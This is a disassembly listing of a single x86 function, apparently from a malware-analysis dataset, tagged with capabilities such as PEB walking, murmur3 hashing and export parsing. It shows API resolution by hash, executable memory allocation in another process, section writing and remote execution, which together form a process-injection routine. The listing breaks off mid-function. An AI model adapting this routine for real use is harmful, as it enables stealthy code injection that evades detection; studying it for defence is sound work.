Function at 0x404ec0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using murmur3
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
mov eax, dword [0x435010]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov dword [ebp - 0x184], ecx
call fcn.00410d2a
cmp eax, 0x1337
jne 0x404ef0
lea eax, [ebp - 0x170]
call eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x38], 0x3e521c7a
push eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x34], 0x3f9d0ab7
push eax
push 0x10c000
push 0x435a90
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x30], 0x94832641
mov dword [ebp - 0x2c], 0xa06e5f6d
mov dword [ebp - 0x28], 0x602c7be1
mov dword [ebp - 0x24], 0x3099c84f
mov dword [ebp - 0x20], 0x6a128bda
mov dword [ebp - 0x1c], 0xf7a60472
mov dword [ebp - 0x18], 0x2bf18a3d
mov dword [ebp - 0x14], 0xc4d0976e
mov dword [ebp - 0x10], 0x8d10e65b
mov dword [ebp - 0xc], 0x9e4cfa72
mov dword [ebp - 0x40], 8
mov dword [ebp - 0x3c], 0xe
call fcn.00424040
mov ecx, eax
mov eax, 0x5a4d
mov dword [ebp - 0x19c], ecx
cmp word [ecx], ax
jne 0x40651a
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x198], eax
mov eax, dword [ecx + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x188], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x18c], ecx
cmp ecx, edx
je 0x40506e
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x40506e
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x190], ecx
dec ebx
mov esi, 0x9810c6c
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405060
nop
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x404ff0
cmp esi, 0xbbe5b7e6
je 0x405075
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x190]
test ebx, ebx
jne 0x404fd3
mov eax, dword [eax]
jmp 0x404fa0
mov esi, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x188]
push 0x40
push 0x3000
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 0x198]
mov eax, dword [eax + edx]
add eax, edx
push dword [ecx + 0x50]
push dword [ecx + 0x34]
push dword [ebp - 0x184]
call eax
mov ecx, eax
mov dword [ebp - 0x188], ecx
test ecx, ecx
jne 0x4051f0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x188], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x18c], ecx
cmp ecx, edx
je 0x4051a0
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x4051a0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x190], ecx
dec ebx
mov esi, 0x72797758
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405192
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405122
cmp esi, 0x12ba0294
je 0x4051a7
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x190]
test ebx, ebx
jne 0x405103
mov eax, dword [eax]
jmp 0x4050d0
mov esi, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x188]
push 0x40
push 0x3000
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebp - 0x198]
mov eax, dword [eax + edx]
add eax, edx
push dword [ecx + 0x50]
push 0
push dword [ebp - 0x184]
call eax
mov dword [ebp - 0x188], eax
test eax, eax
je 0x406514
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x164], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x160], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x158], 0
mov dword [ebp - 0x15c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x194], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x18c], ecx
cmp ecx, edx
je 0x405300
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x405300
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x190], ecx
dec ebx
mov esi, 0xe3c4e287
mov cl, byte [edi]
inc edi
test cl, cl
je 0x4052f2
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405282
cmp esi, 0x20c6f62e
je 0x405307
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x190]
test ebx, ebx
jne 0x405263
mov eax, dword [eax]
jmp 0x405230
mov esi, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x194]
push 0x104
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x14f]
push ecx
add eax, edx
push 0
call eax
mov al, byte [ebp + 0x10]
mov byte [ebp - 0x150], al
mov eax, dword fs:[0x30]
mov dword [ebp - 0x154], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x18c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x190], ecx
cmp ecx, edx
je 0x405430
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x405430
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x194], ecx
dec ebx
mov esi, 0x7f669741
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405422
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4053b2
cmp esi, 0xc3b210b1
je 0x405437
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x194]
test ebx, ebx
jne 0x405393
mov eax, dword [eax]
jmp 0x405360
mov esi, dword [ebp - 0x190]
mov edx, dword [ebp - 0x18c]
push 0x40
push 0x3000
mov eax, dword [esi + 0x24]
push 0x1000
push 0
push dword [ebp - 0x184]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov ecx, dword fs:[0x30]
mov dword [ebp - 0x178], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x18c], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x190], eax
cmp eax, esi
je 0x405550
mov ebx, dword [eax + 0x18]
test ebx, ebx
je 0x405550
mov eax, dword [eax + 0x20]
lea eax, [eax + ebx*4]
add eax, esi
mov edi, dword [eax - 4]
sub eax, 4
add edi, esi
mov dword [ebp - 0x194], eax
dec ebx
mov esi, 0x43e727f7
mov al, byte [edi]
inc edi
test al, al
je 0x40553f
movsx edx, al
lea edi, [edi + 1]
imul eax, edx, 0xcc9e2d51
rol eax, 0xf
imul eax, eax, 0x1b873593
xor eax, esi
rol eax, 0xd
add eax, 0xfaddaf14
lea esi, [eax + eax*4]
imul eax, edx, 0x51000000
rol eax, 0xf
imul eax, eax, 0x1b873593
xor esi, eax
xor esi, 1
mov eax, esi
shr eax, 0x10
xor eax, esi
imul edx, eax, 0x85ebca6b
mov eax, edx
shr eax, 0xd
xor eax, edx
imul edx, eax, 0xc2b2ae35
mov eax, edx
shr eax, 0x10
xor eax, edx
imul esi, eax, 0x539
mov al, byte [edi - 1]
test al, al
jne 0x4054d3
cmp esi, 0x4bed496d
je 0x405557
mov eax, dword [ebp - 0x194]
mov esi, dword [ecx + 0x18]
test ebx, ebx
jne 0x4054b4
mov ecx, dword [ecx]
jmp 0x405481
mov esi, dword [ebp - 0x190]
mov edx, dword [ebp - 0x18c]
push 0
push 0x10c
mov eax, dword [esi + 0x24]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
mov esi, dword [ebp - 0x178]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x154]
push ecx
push esi
push dword [ebp - 0x184]
add eax, edx
call eax
mov edx, dword [ebp - 0x198]
xor ecx, ecx
mov dword [ebp - 0x158], esi
mov dword [ebp - 0x18c], ecx
movzx eax, word [edx + 0x14]
add eax, 0x2c
cmp word [edx + 6], cx
je 0x405733
lea ebx, [eax + edx]
mov dword [ebp - 0x190], ebx
mov eax, dword [ebx - 4]
mov dword [ebp - 0x180], eax
test eax, eax
je 0x405717
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x17c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x194], ecx
cmp ecx, edx
je 0x4056b0
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x4056b0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x178], ecx
dec ebx
mov esi, 0xc325495e
mov cl, byte [edi]
inc edi
test cl, cl
je 0x4056a2
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405632
cmp esi, 0x85a7f8
je 0x4056b7
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x178]
test ebx, ebx
jne 0x405613
mov eax, dword [eax]
jmp 0x4055e0
mov edx, dword [ebp - 0x194]
mov esi, dword [ebp - 0x17c]
push 0
push dword [ebp - 0x180]
mov eax, dword [edx + 0x24]
lea eax, [eax + ebx*2]
mov ebx, dword [ebp - 0x190]
movzx ecx, word [eax + esi]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [ebx]
mov edx, dword [eax + esi]
mov eax, dword [ebx - 8]
add edx, esi
mov esi, dword [ebp - 0x19c]
add ecx, esi
add eax, dword [ebp - 0x188]
push ecx
push eax
push dword [ebp - 0x184]
call edx
test eax, eax
je 0x40583b
mov ecx, dword [ebp - 0x18c]
mov edx, dword [ebp - 0x198]
movzx eax, word [edx + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x190], ebx
cmp ecx, eax
jne 0x4055c3
push 0x10
lea eax, [ebp - 0x164]
push eax
push dword [ebp - 0x19c]
call fcn.00424310
mov eax, dword fs:[0x30]
add esp, 0xc
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x405834
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x405834
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0x10cb830c
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405826
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4057b2
cmp esi, 0x3555ae6c
je 0x405970
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x405793
mov eax, dword [eax]
jmp 0x405760
push esi
call fcn.0040b3ee
mov eax, dword fs:[0x30]
add esp, 4
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x405920
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x405920
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0xb0c28579
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405912
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4058a2
cmp esi, 0x7b195eeb
je 0x405927
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x405883
mov eax, dword [eax]
jmp 0x405850
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x188]
push dword [ebp - 0x184]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0040b3e0
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0
push 0x1000
mov eax, dword [esi + 0x24]
push dword [ebp - 0x19c]
push dword [ebp - 0x188]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push dword [ebp - 0x184]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x405a90
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x405a90
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0x7d49d440
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405a82
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405a12
cmp esi, 0x79a62a87
je 0x405a97
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x4059f3
mov eax, dword [eax]
jmp 0x4059c0
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0x40
push 0x3000
mov eax, dword [esi + 0x24]
push 0x1000
push 0
push dword [ebp - 0x184]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x198], eax
test eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jne 0x405bd0
nop dword [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x405bc4
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x405bc4
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0x9f213db
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405bb6
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405b42
cmp esi, 0x5d15ba03
je 0x405927
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x405b23
mov eax, dword [eax]
jmp 0x405af0
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x405ca0
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x405ca0
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0x69c92c5f
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405c92
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405c22
cmp esi, 0x70fe133d
je 0x405ca7
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x405c03
mov eax, dword [eax]
jmp 0x405bd0
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0
push 0x1000
mov eax, dword [esi + 0x24]
push 0x404d60
push dword [ebp - 0x198]
push dword [ebp - 0x184]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x405dc4
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x405dc4
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0x7c02a284
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405db6
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405d42
cmp esi, 0xc032ef0e
je 0x405dcb
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x405d23
mov eax, dword [eax]
jmp 0x405cf0
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x188]
push dword [ebp - 0x198]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push 0
push 0
push dword [ebp - 0x184]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x194], eax
test eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jne 0x406064
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x405ef6
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x405ef6
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0x11830d68
mov cl, byte [edi]
inc edi
test cl, cl
je 0x405ee8
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x405e74
cmp esi, 0xe695ce32
je 0x405efd
mov edx, dword [eax + 0x18]
mov ecx, dword [ebp - 0x180]
test ebx, ebx
jne 0x405e55
mov eax, dword [eax]
jmp 0x405e22
mov esi, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
push 0x8000
push 0
mov eax, dword [esi + 0x24]
push dword [ebp - 0x188]
push dword [ebp - 0x184]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x178], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x17c], ecx
cmp ecx, edx
je 0x406014
mov ebx, dword [ecx + 0x18]
test ebx, ebx
je 0x406014
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + ebx*4]
add ecx, edx
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, edx
mov dword [ebp - 0x180], ecx
dec ebx
mov esi, 0x85f9721e
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406006
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
